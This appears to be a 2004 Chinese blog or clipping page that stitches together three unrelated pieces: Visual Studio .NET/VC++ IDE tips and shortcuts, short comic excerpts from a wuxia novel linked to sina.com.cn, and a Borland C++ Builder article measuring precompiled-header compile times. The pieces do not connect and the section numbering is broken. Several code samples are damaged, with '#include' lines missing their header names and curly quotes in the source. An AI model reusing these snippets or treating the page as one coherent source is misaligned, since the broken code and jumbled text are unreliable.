2004年10月05日

  1. 主窗口内的每一个子窗口都是可以dock的,dock在边上的子窗口在右上角有两个按扭,一个是关闭,一个是图钉。当图钉按下时,子窗口就不会再自动缩回 到边上,而且可以通过拖动子窗口的标题栏把它拉出来。我建议将所有不需要的子窗口都关掉,再将dock到底部和左边的所有子窗体也关掉,需要的子窗体全部 放到右边,然后把图钉拔起来,要看的时候把鼠标移过去就可以看到了,滑动出来的时候不会挡住代码,给代码编辑留下最大的空间。

   2. 工具条也具有和子窗口类似的dock属性,要关掉工具条,可以把它拖出来,然后关闭。工具条和菜单的每一项都可以设置,方法是在工具条或菜单条上单击右 键,然后在弹出菜单里点自定义,这时你可以通过在工具条和菜单条上拖动,很方便的完成自定义的部局。你还可以选中某一项后按右键,来设置这一项的详细属 性。我建议关掉所有的工具条,因为一般常用的命令都有快捷键,不常用的就用菜单吧,这样可以省出来地方给代码编辑。

  3. 键盘的快捷键设置可以在工具菜单->选项->环境->键盘里设置。上面有一些预设的键盘映射方案,你可以选择其中一项,然后在下面加以修改后另存为自己的方案。我强烈推荐使用Visual C++6.0的键盘映射方案,很顺手哈!

   4. 在工具菜单->选项->环境->字体和颜色里可以设置代码编辑中各类标识符的字体和颜色。在这里你可以把字体调大一点,因为默认的9号 字太小了,看不清楚。我的设置是11号幼圆。对于字体颜色的详细设置,你可以使用颜色后面的自定义,来选择你喜欢的颜色,我还是很喜欢整编代码五颜六色的 样子!

  一、代码编辑部分

  1. 如果一段代码的缩进很乱,空格、TAB一大堆杂乱无章,那么选中这一段代码,在编辑菜单->高级中按格式化选定内容。这一段代码就被自动整理好了。 如果一段代码中空格和TAB交错使用,但格式似乎是整齐的,你可以到编辑菜单->高级->查看空白,查看代码中的空格和TAB。

   2. 在工具菜单->选项->文本编辑器->C/C++->常规中把启动单击URL定位清除掉,这一项在C/C++代码编辑中没什么 用,反而会引起一些误会。再把行号勾上,我认为这虽然占一些空间,但是非常方便。在文本编辑器->C/C++->制表符中把制表符大小和缩进 大小都调整为4,这样有助于编译整齐的代码。如果你打开了行号,建议在文本编辑器->常规中,把选定内容的边距关掉,因为这就有点多此一举了。

  3. 在工具菜单->选项->项目->VC++目录中设置工程文件的路径。一般设置包含文件和库文件就可以了。

  4. 在代码编译窗口的上面有两个下拉列表框,左边的是可见域,右边的是函数,你可以通过这两个下拉框在一个很大的源文件中实现准确的定位。用好这个功能可以极大的提高编程效率。

  5. 大纲显示是一个非常好的功能,只是可能很多人都不习惯。可以在编辑->大纲显示->停止大纲显示来关掉它。如果想不在启动时就启用大纲显示,则可以在工具菜单->选项-> C/C++->格式设置中把打开文件时进入大纲模式去掉。

   6. 选中一段代码后按tab可以增加它的缩进;按住Alt可以竖选一段代码;鼠标放在行号栏或代码左边距上(如果你启用了)会变成向反方向的指针,这时你可以 选中对应的一行;选中代码后可以拖动选中的代码到合适的位置;按住Ctrl再按左右方向键可以移动光标并跳过关键字;Ctrl+Home和Ctrl+ End分别是到达文件顶部和底部;接住Shift再按方向键可以选中光标略过的字符,可以和Ctrl一起使用;Ctrl+A可以选中全部代码;Ctrl+ =和Ctrl+-可以返回到你刚刚查看的代码的位置;可以利用括号匹配功能来帮助写完整的代码,括号匹配时会加粗显示,这一点可以在工具菜单->选 项->环境->字体和颜色里设置。

  7. 查找和替换功能非常强大,可以选择使用通配符和正则表达式。由于篇幅关系,关于通配符和正则表达式的说明请参阅MSDN,我在此就不多说了。在文件中查找 或替换,可以方便的编辑查找范围。你可以使用预定的几个查找范围,包括整个解决方案、VC++包含目录等,你也可以点后面的按扭来编辑详细的查找范围。对 于文本文件的查找,VC++带的查找工具,要比Windows的文件查找那个效率高太多了。

  8. 按下面的顺序包含头文件:

#define CRTDBG_MAP_ALLOC
#include <stdlib.h>
#include <crtdbg.h>

  然后在程序开始的时候写上:

_CrtSetDbgFlag ( _CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF );

   这样在调式程序结束后,内存泄露就会转储到输出子窗口的调试模式中。

  三、编译部分:

   1. 如果一个很大的工程,需要包含大量的系统头文件,那么你可以把这些包含的头文件全部写到一个StdAfx.h的文件里,然后再建一个 StdAfx.cpp,里面就一句代码,#include “StdAfx.h”,接着在解决方案管理器->你的工程上单击右键,然后按属性->配置属性->C/C++->预编译头,把创 建/使用预编译头设为:创建预编译头,下面两向会自动填写,如果没有,那就填上StdAfx.h。然后把你的工程完全重新生成一编,再进入刚才的选项,把 创建/使用预编译头设为:设用预编译头。好了,你的工程现在的编译速度应该超极快了。

  2. 如果你的程序需要引入特定的库,那么可以在需要引用的源文件里写上:#pragma comment( lib, “xxx.lib” ) 这样就不需要到配置属性->链接器->输入里去设置了,这样还可以提高你的代码的兼容性。

   3. 如果你在写DLL,而且这个DLL是被另一个工程编译出来的EXE所使用的,但是这两个工程又不在同一个文件夹里,所以你只好每次都把新编译好的DLL复 制到EXE的目录下再调试,如果某次你忘了更新,这可能就会浪费你很多的时间和精力。其实你可以写一个BAT文件,用Dos命令copy,完成你需要的拷 贝任务,然后把这个BAT文件放到DLL的目录下,再进入配置属性->生成事件->生成后事件->命令行中填上你要执行的BAT文件 名,在编译结束后就会自动执行拷贝任务了。

  4. 工具菜单->选项->环境->项目和解决方案中,可以把若生成完成时有错误,则显示任务列表窗口那一项勾上。这样在你编译结束,发现错误后,会自动弹出任务列表,然后你双击某一项任务,就会定位到出错的那一行代码上。

  四. 资源部分

  1. 编辑对话框时,选中一个控件,然后在属性子窗口中会列出它的所有的属性。按上面的闪电按钮,会列出它所有可用的事件,双击其中一个事件,就会跳转到相应的源文件中,这时你就可以为该控件的某一事件添加处理程序了。

  2. 在使用MFC编程时,属性子窗口会显示这个类可用的重写函数和事件处理程序,双击就可以编写代码。如果发现属性子窗口和代码不对应,可以在类视图中选择你需要编辑的类,或在代码编辑中单击右键按同步类视图。

  3. 一个图标文件其实是一个图标包,里面可以包含很多个大小、颜色均不一样的图标,在VC.net的图标编译器中也可以任意新建、删除、修改图标。在图像菜单中的新建图象类型、当前图标图像类型、删除图像类型可以很方便的完成此功能。

  4. 菜单编辑时,在菜单项的Caption属性中输入-,该菜单项会自动变成分隔符。

  五,调试部分

  1. 在调试菜单->窗口子菜单中,你可以打开这些都很有用的调试辅助窗口。下面讲述的窗口都可以在这里打开。

  2. 在代码编辑的最左边单击左键,会为这一行添加断点。右击这个断点可以修改这个断点的属性,比如设置这个经过这个断点多少回再停下,或着是一个条件判断语句为true时这个断点再停下等等。断点窗口可以对源文件中的断点进行更加详细的配置和管理。

  3. 自动窗口和局部变量里你可查看到几乎所有当前你需要查看的变量的值,并且在这里你可以修改这个变量的值。

  4. 寄存器窗口可以查看所有寄存器的状态。在这个窗口中右击,打开你需要查看的寄存器。

  5. 调用堆栈,这个在出错时非常有用。比如内存访问出错,然后停到了delete源文件中的一行,这时你就可以通过堆栈来向上查找看是哪一个真正的出错源语句。

  6. 命令窗口,在这里可以写VC++预定义命令,甚至可以编写部分C++代码。比如p = 5;这完全是可以的,具体可用的命令请参阅MSDN。

   7. 监视窗口,在这里输入你需要查看的变量名称,它的值就会马上显示在后面。如果是一个对象,点前面的+号,它的成员就会列到下面。如果有一个数组int a[6],你可以输入:a,6,这样你就可以查看这个数组中所有元素的值了。还可以转换格式,比如token,x。更详细复杂的功能,具体请参阅 MSDN。

  五. 关于VisualC++6.0模式键盘映射模式下的常用快捷键

  常规文本编辑部分略

  格式化选定内容:Ctrl+K,Ctrl+F
  向前定位:Ctrl+=
  向后定位:Ctrl+-
  查找:Ctrl+F
  在文件中查找:Ctrl+Shift+F
  替换Ctrl+H:
  在文件中替换:Ctrl+Shift+H
  转换为大写:Ctrl+Shift+U
  转换为小写:Ctrl+U
  注释选定内容:Ctrl+K,Ctrl+C
  取消注释:Ctrl+K,Ctrl+U
  打开/关闭断点:F9
  清除所有断点:Ctr+Shift+F9
  全部编译:F7
  单元编译:Ctrl+F7
  单步跟踪:F10
  进入函数:F11
  运行到光标处:Ctrl+F10
  跳出函数:Shift+F11
  运行调试:F5
  停止调试:Shift+F5
  重新启动调试:Ctrl+Shift+F5
  运行不调试:Ctrl+F5
  打开/关闭书签:Ctrl+K,Ctrl+K
  上一个书签:Ctrl+K,Ctrl+P
  下一个书签:Ctrl+K,Ctrl+N
  清除所有书签:Ctrl+K,Ctrl+L
  打开属性窗口:Alt+Enter
  上一篇文档:Ctrl+Tab
  下一篇文档:Ctrl+Shift+Tab
  打开项目:Ctrl+Shift+O
  打开文件:Ctrl+O
  保存:Ctrl+S
  全部保存:Ctrl+Shift+S
  新建文件:Ctrl+N
  全屏显示:Shift+Alt+Enter

http://book.news.sina.com.cn/longbook/1094605902_changanluan/31.shtml

  我说:这样的小事情我听你的,我以后决定大事情即可。

  我和喜乐牵着马出来,决定给这小马取个名字,喜乐觉得叫它小扁,我觉得这着实像带鱼的名字,说:不行。

  喜乐说:你看这马,多扁啊,脚也短,叫小扁最好不过。而且你说的小事情都由我来决定。

  我说:可是取名字实在是件大事情。

  喜乐说:管它呢,反正以后我就决定两种事情,一种事情是小事情,还有一种事情就是我负责判定一件事情是大事情还是小事情。

http://book.news.sina.com.cn/longbook/1094605902_changanluan/32.shtml

       在中心地方挂一副对联,面上极度不工整,上联是:莫要。下联:回头。横批倒是工整的四个字:莫要回头。

http://book.news.sina.com.cn/longbook/1094605902_changanluan/44.shtml

   如此的道别真是让人尴尬。我看见自古英雄豪杰,惺惺相惜而终须一别的时候,都是抱拳一声,后会有期,然后转身跨上烈马,不消几个眨眼,已经消失天边,空留落日以及地平线上马蹄扬起的幽忧尘烟。而这次,虽都是英雄,可是要我和喜乐和小扁消失在地平线,无论如何都需要一个时辰左右,而在那段时间里,万永肯定是不好意思转回庄园,不得不进行残酷的目送,真是为难了这位兄弟。

==================================================================
  菜还没上来,我随意看风景,突然我看见对面窗户里飞来两件暗器,分别是向我和喜乐而来。真是高人,我瞄了一眼,觉得倘若我们不动动肯定双双中镖。于是我踹翻了喜乐的椅子,自己则侧身一躲,两镖双双落空。只是喜乐翻倒在地。大家都看着这四脚朝天的姑娘。
  突然人群里有人喊:死人了,死人了。
  我扭头一看,发现坐我们后座那桌上死了一个伤了一个。还没来得及想什么,突然传来声音:就是那小姑娘发的暗器,下手多重啊,把自己都掀翻了。
  还有声音说:抓起来,先送官再说。
    我想:喜乐送官就完了,虽说肯定是无罪释放,可估计要变个妾之类的。我忙冲上前,扶起喜乐,说:大家不要误会,不是她干的。
  群众说:对,一看就知道不是她干的,是你干的,你内力可以啊,都把她震翻了。
==================================================================

其实我着实武艺高强,但我之所以一直觉得自己功夫一般是因为喜乐已经是我的一部分,所以分摊下来,自然一般。
==================================================================

说完,就感觉一只手伸进我的衣兜,我看见一个十多岁的孩子从里面神不知鬼不觉地掏出一些碎钱,然后擦身而过。我一把抓住他把他拎到面前,劝戒他说:你不能这样的,小子。
  那小子顿时面无血色,当场跪下说:师父,我真有眼不识泰山,不小心偷到自己人头上了。
  我说:什么意思?
  小子说:我在我那组里手脚是最快的,你手脚比我还快,你一定是我师父。
==================================================================

我说:那好,有没有几个传奇的人?
  那小子说:说起传奇的人,真是有不少,东城,我刚跟你说的杀猪的王胖子,人称快刀王啊,
最多一天杀了四百多头猪,大家都说能进史书。后来隔壁谢胖子不服气,一口气杀了五百多头,
王胖子哪能咽下这口气啊,可是又找不到那么多猪杀,就从外地调了一千多头,一口气全给杀了。
那两天猪肉的价钱那个便宜啊,两个蛋钱就买半头猪啊。
==================================================================

  我问:你的店怎么了?
  老板说:武当来报复少林,顺便把我店给抢了。
  我说:什么,武当?武当的势力怎么能和少林抗衡?
  老板说:是啊,可能是武当来报复我,顺便把少林给抢了。
==================================================================
我回想,师父是一个很大程度上说话故弄玄虚的人,否则也当不了师父。
==================================================================
里面真是空前混乱,几十人数十种武器打成一团,因为事先互相彼此不认识,阵营乱了以后就不知道谁是谁了,难免出现了认为兔子贵的打了一人半天,那人快断气前还说:你打死我我都说是兔子贵。遇到这样情况,只好忍痛将那人打死。打到后来,大家虽然都打红了眼,但还算理智,打前问:兔子还是瓜?发现一言不和才动手。
==================================================================
打到最后,伤的伤,死的死,昏迷的昏迷,全都趴地上了,只剩下一个认为瓜贵的还能站着,那人爬桌上,要说什么,发现自己打迷糊了,不记得自己的立场到底是兔子贵还是瓜贵了,痛苦不已,突然认出下面有一个被自己打得奄奄一息的家伙,于是想到如果问那人是什么立场,自然就知道自己的立场了,便一步跨上前去,揪住那人,问:兔子还是瓜?那人本来立场是兔子贵,看见仇人又来了,为保一命,要和那壮士装作自己人,吓得忙改口,说:瓜,瓜贵。那人大笑,一拳打晕那人,又跳上台,对着一地伤员大喊:哈哈,还是兔子贵!
==================================================================

利用pre-compiled headers技術以加速編譯速度
— 以Borland C++ Builder為例 —

恆逸資訊教育訓練中心首頁

作者: 恆逸資訊 王森

一個程式設計師都有的共同經驗:當程式越寫越大,每次改完程式之後要重新編譯產生執行檔,往往需要 很長一段時間,對一個心急如焚的工程師來說,這真是一個夢靨。突而其來的好點子通常就在這漫長的編譯過程中被錯過了。當然,我們可以購買更高檔的硬體使得 編譯速度更快。可是硬體升級的速度卻永遠趕不上程式碼增加的速度(這似乎與每次新版Windows出來的時候,我們永遠覺得電腦越來越慢的感覺有異曲同工 之妙)。
好幾次向使用Delphi的朋友抱怨編譯時間太長,他們總是笑著勸我改用Delphi,因為Delphi的編譯速度真的很快,而且使用 Delphi,幾乎可以在Windows上做到任何開發工具也做得到的事。筆者一直是一個忠誠的C++擁護者(這是情感因素,沒有貶低任何語言的意思), 我也因此花了很多時間研究要怎樣才能使BCB所寫的程式可以編譯的更快,讓更多時間拿來除錯或者發揮創意。這篇文章就是我在這方面的研究心得。
在本文中,筆者全部以最新的BCB 5.0做為討論對象。一開始我假設讀者並沒有使用BCB的經驗,所以文章的第一部分,是專門寫給初學者看的。如果您是一個擁有豐富經驗的BCB程式設計師,那麼您可以跳過第一段<前置作業>,直接從第二段<初見pre-compiled headers技術>看起。如果您很有耐心的從頭看起,希望在第一段<前置作業>中筆者一些個人的經驗可以對各位讀者有所幫助。


前置作業

首先,我們先建立一個簡單的console程式,以供往後測試用。 請選擇 File/New 開啟New Item對話盒,在New次頁選擇Console Wizard,如下圖:
按下OK鈕以後,出現如下畫面:
請依照上圖在Use VCL與Console Application的check box上打勾,選完後按下OK鈕,Console Wizard會自動幫我們產生一個程式骨幹,如下圖:
接著請將此程式(Unit1.cpp)以及專案檔(Project1.bpr)一起存檔於一個獨立的新目錄之中,比方我們將他們存放在test目錄中,則第一次儲存後,整個目錄下只有幾檔案,如下圖:
額外一提的是,很多朋友會發現在每次使用BCB編譯完成之後,在專案所在的目錄下會多出很多檔案,通常不知道該刪掉哪一個才好。以我們這個剛開啟的專案來說,當我們按下Project/Make Project1之後,目錄下會產生如下圖內的檔案:

為了將來備份方便,我們可以將一些不必要的檔案刪除掉。下表列出相關資訊:


檔名 功用 可否刪除
*.~*
原始碼備份檔案
*.tds
中間檔
*.obj
中間檔
*.res
編譯過的資源檔
*.exe
執行檔

有 關原始碼備份檔案的部分,每當我們儲存檔案的時候的時候,只要該檔案原先已存在目錄下,則IDE自動會將原先的檔案改名成*.~*,然後將要儲存的檔案重 新寫入硬碟裡頭。比方說Unit1.cpp,如果再存檔,IDE就會把檔名改成Unit.~cpp,然後將最新的Unit1.cpp存回硬碟中。如果各位 覺得這個產生備份原始檔的動作有點煩,甚至覺得沒有必要,那麼請選擇Tools/Editor Options開啟下面的對話盒:

把Create backup file這個check box的勾勾拿掉即可,這樣IDE就再也不會幫我們做備份的工作了。

另 外,每個cpp檔在編譯過後都會產生一個obj檔,因此當程式越寫越大之後,產生的obj檔會越來越多,到時候備份時要一個個刪除就顯的有點麻煩。在此筆 者提供一個建議,就是讓編譯器將編譯過的obj檔統一放到一個目錄下面,到時候我們只要刪掉這個目錄下的所有檔案即可。為了做到這一點,請選擇 Project/Option開啟下面的對話盒:

如圖所示,請到Directories/Conditionals次頁裡的Intermediate output裡面填上tmp,意思就是請編譯器今後將編譯後產生的obj檔統一放到專案原始碼所在目錄下的tmp目錄之中。

最後一點要提的是,BCB 5.0內定是把編譯放在背景執行,所以每次我們按下Make或是Build的時候,除非編譯發生問題,否則編譯成功之後,編譯過程對話盒會自動關閉。為了要觀察編譯過程,請選擇Tools/Environment Options開啟如下的對話盒:
請將Background compilation的check box的勾勾拿掉,如此編譯的過程就如同BCB 5.0之前的版本一樣,每次編譯都會在螢幕中間出現編譯過程對話盒,如下所示:

OK,前置作業大功告成,接下來我們要開始做點測試囉!


初見pre-compiled headers技術

過去我們撰寫C/C++程式時,每個檔案都必須利用編譯器指令 #include 引入許多的系統標頭檔才能夠使程式順利編譯,接著經由連結產生執行檔。假如我們的Project(程式專案)存有兩個檔案a.cpp以及b.cpp,當我們在a.cpp裡面用到getch()這個函式,我們就必須在使用a.cpp的開頭處寫著:
  #include < conio.h >

否則編譯器一定告訴我們這個函式沒有定義。同樣地,即使b.cpp 這個檔案和a.cpp同屬一個Project之中,檔案裡面只要有用到getch()這個函式,一樣得在b.cpp的開頭處寫著:

  #include < conio.h >

當 編譯器編譯a.cpp的時候,編譯器必須編譯conio.h一次,接著編譯b.cpp的時候,同樣必須重新編譯conio.h一次。因此,一旦a.cpp 引入更多和b.cpp相同的標頭檔,也就代表編譯器將浪費許多時間在編譯同樣的標頭檔上。舉例來說,如果我們的Project裡面有十個cpp檔同時引入 相同的標頭檔,那麼就代表編譯的時間有9/10都因為被用來編譯相同的標頭檔而浪費掉了。因此BCB引進了pre-compiled headers技術,主要就是為了解決這個會使得編譯器做過多重複的編譯工作而導致編譯過程漫長的問題。

所謂的pre-compiled headers技術,在筆者的記憶中是從BCB 3.0開始引進的概念,其實概念很簡單,就是”預先編譯標頭檔”的意思。以我們拿剛剛提到的例子來說,編譯器第一次編譯a.cpp的時候,就會因為使用 pre-compiled headers技術,會先把conio.h的編譯結果先”cache”起來,然後等到待會編譯b.cpp的時候,編譯器會發現conio.h已經先被編譯 過了,因此編譯器就直接把剛剛cache起來的conio.h編譯結果直接拿來使用,這樣一來就省掉了了大量的編譯時間,而程式設計師就可以從此向冗長的 編譯過程說bye bye。
在BCB之中,pre-compiled headers技術是透過編譯器指令#pragma hdrstop來達成,從BCB的help裡面得知,出現在這個編譯器指令之前的標頭檔即代表告知編譯器要使用pre-compiled headers技術來加速編譯。但是事情並沒有我們想像的那麼單純,所以接下來筆者會花很長的篇幅來探討編譯器指令#pragma hdrstop對編譯效能所帶來的影響。


pre-compiled headers技術對編譯速度的影響 – 1

首先,我們先按照<前置作業>所提到的方式,刪掉所有在編譯過程之中產生的所有檔案(*.exe 、 *.obj 、 *.tds ,請注意 , *.tds必須關掉整個Project之後才能刪除,也請大家先刪除BCB所在目錄的Lib子目錄裡面的*.csm以及*.#??,『?』代表是一個0~9的數字)。
接下來,我們做個簡單的測試,用乾淨的程式原始碼(就是尚未編譯過的原始碼)來做編譯速度的測試,以下的數據以筆者的電腦輸出結果為基準,筆者的電腦配備為: Intel PIII 450 、 勝創PC100 128MB RAM 、華碩P2B主機板、作業系統是Windows 2000 Professional:
■ 程式碼1:
#include
#include
#pragma hdrstop
#pragma argsused
int main(int argc, char* argv[])
{

cout << “Hello World” ;
return 0;
}

  ■ 測試結果1:


使用build

編譯次數 編譯行數 編譯時間
第一次 419266 7.90
第二次以後 510638 8.48
使用make

編譯次數 編譯行數 編譯時間
第一次 419266 7.73
第二次以後 0 0.14

程式碼2:
#pragma hdrstop
#include
#include

#pragma argsused
int main(int argc, char* argv[])
{

cout << “Hello World” ;
return 0;
}

斜體字部分為與程式碼1不同之處
  ■ 測試結果2:


使用build

編譯次數 編譯行數 編譯時間
第一次 419266 5.60
第二次以後 510638 4.42
使用make

編譯次數 編譯行數 編譯時間
第一次 419266 5.86
第二次以後 0 0.15
提醒讀者一點,空白行也算被編譯器在編譯行數中,所以大家的測試結果在編譯行數上可能會有些微的差距。
從上面的列表可以得到以下結論:
  1. 對這兩組測試程式而言,第一次編譯的時候不管用make或是build,其編譯速度幾乎沒差別。但是第二次以後的編譯,使用make的編譯速度壓倒性的快,而且快很多,原因請讀者參照一些介紹make的相關書籍。在這裡筆者介紹O’Reilly (台灣歐來禮) 出版的Managing Project with make,這本書在台灣歐來禮的網站 www.oreilly.com.tw 似乎有看到會出現中文本的消息。
  2. 2. 把標頭檔放在編譯器指令 #pragma hdrstop之前在第一次編譯所花的時間要比把標頭檔放在編譯器指令 #pragma hdrstop之後要久。咦? 之前不是還提到利用pre-compiled headers技術會加快編譯速度,怎麼經過實驗之後發現竟然編譯速度變慢了呢? 要找尋原因,我們可以使用windows開始功能表裡面的 搜尋/檔案或資料夾 功能,搜尋BCB所在目錄,將搜尋日期限定為您電腦上目前的日期,讀者就可以發現,一旦您把標頭檔放在編譯器指令 #pragma hdrstop之前,在BCB所在目錄下的Lib子目錄就會出現vcl50.#00以及vcl50.csm兩個檔案,而且檔案的size還蠻大的,但是如果把標頭檔放在編譯器指令 #pragma hdrstop之後,這兩個檔案並不會出現(如果讀者在測試的時候先測試 程式碼1 ,再測試 程式碼2 ,那麼這兩個檔案依舊會出現,因為這兩個檔案並不會因為重新打開Project或是重新開啟BCB而被刪除,因此讀者看到的可能是前次編譯所產生的vcl50.#00以及vcl50.csm)。
如此一來,我們可以大膽地推測: 之所以把標頭檔放在編譯器指令 #pragma hdrstop之前在第一次編譯所花的時間會比較長,是因為編譯器花了額外的功夫去產生這兩個檔案。因為編譯後所顯示的編譯時間並非只有單純的編譯時間,還包括了連結目的檔以產生執行檔所耗費的時間。精確的說,應該是『從開始編譯原始碼到產生最後的執行檔總共所花的時間』,所以前面的測試數據會給大家一種『使用pre-compiled headers技術反而會減慢編譯速度』的假象。
讀者在前面所看到測試結果1所得的數據,是筆者每次測試過後,除了刪掉編譯時產生的*.obj 、 *.tds 、 *.exe檔之外,還外加刪掉vcl50.#00以及vcl50.csm兩個檔案所測得。如果在測試程式碼1/使用make的時候,筆者沒有刪除測試程式碼1/使用build的時候所產生vcl50.#00以及vcl50.csm這兩個檔案,則測試結果1的數據會變成:
■ 測試結果3:
使用build

編譯次數 編譯行數 編譯時間
第一次 201723 13.57
第二次以後 201723 13.98
使用make

編譯次數 編譯行數 編譯時間
第一次 17 1.87
第二次以後 0 0.14

是什麼原因導致結果有所差異呢? 因為筆者一開始先使用build指令測試編譯效能,然後關掉Project,刪掉編譯過程中產生的.obj 、 .tds 、 .exe檔,然後重新開啟Project,再使用make指令測試編譯效能,此時,由於之前build時所產生的vcl50.#00以及vcl50.csm這兩個檔案依舊留在硬碟中,所以make時編譯器就直接拿來用啦! 也因此我們看到編譯器只編譯了17行就結束。由此我們更可以證明, vcl50.#00以及vcl50.csm這兩個檔案就是我們所謂的cache檔,而它們的作用就是讓編譯器可以減少編譯的標頭檔數目以加速編譯。
以上所得到的結論告訴我們,如果接下來我們要做pre-compiled headers技術對編譯效能所產生影響之編譯效能評估,應該在第一次編譯的時候使用build指令,第二次以後都使用make指令,這樣才能精確地測出pre-compiled headers技術對編譯效能所帶來的改善,因為從數據中我們可以看出,build指令會讓編譯器從頭到尾重新編譯一次,所以只看build之後產生的結果是沒有意義的。
不過,有時候重頭到尾重新編譯整個系統也是在所難免。比方說我們一旦把程式從debug版本變成release版本,或 是把程式從release版本變成debug版本,之後的第一次編譯,即使我們使用make來編譯程式,編譯器所花的時間和使用build來編譯的結果是 一樣的,都是重頭到尾重新編譯一次。我們還是可以利用pre-compiled headers技術讓這種從頭到尾的編譯可以更快,在本篇文章的後面會提到。


pre-compiled headers技術對編譯速度的影響 -2

前一段裡面的測試程式只有一個單一的程式原始檔,接著我們來試試如果Project裡面有多個程式原始檔的時候會有何種情形。為了避免情況複雜,我們只測試Project裡頭有兩個程式原始檔的情況。首先,請使用 File/New新增一個Unit:

並將檔案存成Unit2.cpp,此時我們Project之中就多出了兩個檔案,分別是Unit2.h以及Unit2.cpp,他們的內容如下:

■ 程式碼3:
Unit2.h
#ifndef Unit2H
#define Unit2H
void test(void) ;
#endif

Unit2.cpp
#include
#include
#pragma hdrstop

#include “Unit2.h”

void test(void)
{
printf(“test”) ;
}

■ 測試結果4:
編譯次數 編譯行數 編譯時間
第一次 (build) 375564 10.03
第二次(make) 0 0.16
我們觀察BCB所在目錄之下的Lib目錄,此時會發現之前的測試只有多兩個檔案,而這次的測試竟然又多了一個檔案,他們分別是: vcl50.csm、vcl50.#00、vcl50.#01。
這樣的測試結果似乎沒有什麼結論,所以我們在第二次編譯之後,第三次編譯之前,把Unit2.cpp的內容修改如下:
■ 程式碼4:
#include
#include
#pragma hdrstop

#include “Unit2.h”

void test(void)
{
printf(“test”) ;
printf(“test1″) ;
}

 

則測試結果變成:

■ 測試結果5(接測試結果4):


編譯次數 編譯行數 編譯時間
第三次(make) 30 1.19

這跟我們預期的結果相同,pre-compiled headers技術完全發揮了縮短編譯時間的功能。

後來筆者在Project多加了幾個Unit來測試,證明BCB除了會產生vcl50.csm之外,他會為每個Unit都產生一個 vcl50.#??的檔案(這裡的前提是: 每個Unit所引入的標頭檔彼此都不同,如果相同的話,會有另外一種情況發生),如果我們有三個Unit,他就會在第一次build的時候產生 vcl50.#00、vcl50.#01、vcl50.#02,然後加上原本一定會產生的vcl50.csm,總共就會有4個cache檔案,因此我們幾 乎可以認定『編譯器會為每一個使用編譯器指令#pragma hdrstop的檔案產生一個cache檔,以加速編譯』這個我們所見的事實。也就是說,如果我們把Unit2.cpp裡頭的編譯器指令#pragma hdrstop拿掉,那麼每次我們修改Unit2.cpp之後所測得的結果應該是:
■ 測試結果6:

編譯次數 編譯行數 編譯時間
第三次(make) 173843 2.69

而不是前面測試結果5的測試結果。因為沒有預先編譯好的cache檔,所以Unit2.cpp在修改程式後,必須從頭到尾從新編譯。

筆者的另外一個測試,是先在Unit2.cpp中使用編譯器指令#pragma hdrstop,然後用make編譯執行檔,讓編譯器幫我們產生Unit2.cpp的cache檔,筆者並沒有刪除任何的vcl50.#??檔案。接著我將Unit2.cpp裡頭的編譯器指令#pragma hdrstop拿掉,雖然每次原始碼的更改都會造成編譯行數多達173843上下,可是在make幾次之後,如果筆者重新將編譯器指令#pragma hdrstop放回Unit2.cpp之中原來的位置(也就是在#include 與#include 之下),則每次修改程式之後編譯的結果會比較接近測試結果5。
在此我們暫且先把編譯器指令#pragma hdrstop之前所有引入的標頭檔檔名所構成的集合稱做『預先編譯標記』,我們大膽假設編譯器會幫我們把這個標記記錄在cache檔裡頭,以方便下次編譯器在編譯其他檔案的時候作為辨識用。
我們根據上面的假設歸納了一個暫時的結論,就是: 編譯器每次在編譯程式原始碼的時候,一般都是重新編譯所有的標頭檔。但是,如果程式原始檔中含有編譯器指令#pragma hdrstop,那麼編譯器就會去尋找Lib目錄底下的vcl50.#??,看看這些檔案是否符合目前的『預先編譯標記』,如果符合,那麼編譯器就直接引 用之前編譯後留下的cache,因而省下許多重新編譯標頭檔的時間,如果沒有任何cache檔一個符合標記,那麼編譯器仍然會重頭開始編譯所有的標頭檔, 並在編譯後自己產生一個和這個程式原始檔有相同『預先編譯標記』的cache檔,待下次有程式原始檔的預先編譯標記和這個cache檔的預先編譯標記相同 時,編譯器就會直接引用這個cache檔。


pre-compiled headers技術的運作方式

在前面一個段落中我們經由推論得到一個假設,接下來我們要證明我們的推論是否正確。因此我們開始修改Unit1.cpp以及Unit2.cpp,如下:
■ 程式碼5:
Unit1.cpp
#include
#include
#include
#pragma hdrstop

#pragma argsused
int main(int argc, char* argv[])
{
cout << “Hello World” ;
return 0;
}

Unit2.cpp
#include
#include
#include
#pragma hdrstop

#include “Unit2.h”
void test(void)
{
printf(“test”) ;
}

也就是說,我們試著讓兩個檔案有相同的『預先編譯標記』。 這次的測試結果為:
■ 測試結果7:

編譯次數 編譯行數 編譯時間
第一次(build) 202250 9.18
本次測試所依據的程式碼和測試結果4所依據的程式碼完全相同,除了編譯器指令#pragma hdrstop之前所引入的標頭檔我們把他改成兩個檔案皆相同。將這個測試結果拿來與測試結果4比較,編譯行數少了快一半。
我們再觀察BCB所在目錄之下的lib目錄,此時會發現之前的測試只有兩個檔案,他們分別是: vcl50.csm、vcl50.#00。 嘿嘿~ 果然如我們所料,編譯器並沒有笨到為每個使用編譯器指令#pragma hdrstop的檔案都各自產生一個cache檔,而是一個Project之中,有多少種『預先編譯標記』,編譯器就產生多少個vcl50.#??的檔案,這樣一來可以有效減少存放這些cache檔所需要花費的空間。
經由上面這個實驗證明了我們之前的假設是正確的。但是,前面有一句話: 『編譯器會為每個使用編譯器指令#pragma hdrstop的檔案產生一個cache檔,以加速編譯』這句話要修正成為『編譯器會為Project之中各種不同的預先編譯標記產生不同的cache檔,以加速編譯』。
至於預先編譯標記是以何種方式來記錄呢?個人猜想只有四種方法較可能:
  1. 利用registry
  2. 編譯器內部的資料結構
  3. 產生預先編譯標記資料庫
  4. 直接紀錄在vcl50.#??
